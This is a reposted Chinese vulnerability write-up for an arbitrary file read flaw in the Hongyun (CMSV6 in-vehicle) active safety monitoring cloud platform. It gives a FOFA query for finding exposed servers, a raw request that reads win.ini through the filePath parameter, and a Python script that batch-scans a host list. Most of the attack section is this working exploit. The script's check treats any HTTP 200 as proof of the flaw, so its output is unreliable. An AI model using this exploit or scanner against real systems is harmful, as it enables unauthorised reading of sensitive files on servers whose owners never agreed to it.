自学内容网 自学内容网

鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

1、漏洞描述

鸿运主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控,保障IT系统安全、稳定、可靠运行。

鸿运主动安全监控云平台StandardReportMediaAction_getImage存在任意文件读取漏洞,攻击者可利用该漏洞读取系统敏感文件。

2、fofa查询语句

body="./open/webApi.html"||body="/808gps/"

3、影响版本

鸿运(通天星CMSV6车载)主动安全监控云平台

4、漏洞复现

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

5、poc

import argparse
import time
import requests
parser = argparse.ArgumentParser(description='鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for i in f:
            i = i.replace('\n', '')
            send_req("http://"+i)
def send_req(url_check):
    print('{} runing Check'.format(url_check))
    url = url_check + '/808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100'

    header = {
        'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
        'Accept': '*/*',
        'Connection': 'Keep-Alive'
    }

    try:
        requests.packages.urllib3.disable_warnings()
        response = requests.post(url=url,headers=header,timeout=3)
        if response.status_code == 200:
            print('存在鸿运(通天星CMSV6车载)主动安全监控云平台存在任意文件读取漏洞,请尽快修复漏洞!!!')

    except Exception as e:  
        print(e)
        pass
if __name__ == '__main__':
    if file is None:
        print('请在当前目录下新建需要检测的url.txt')
    else:
        get_url(file)


原文地址:https://blog.csdn.net/qq_56698744/article/details/136318170

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!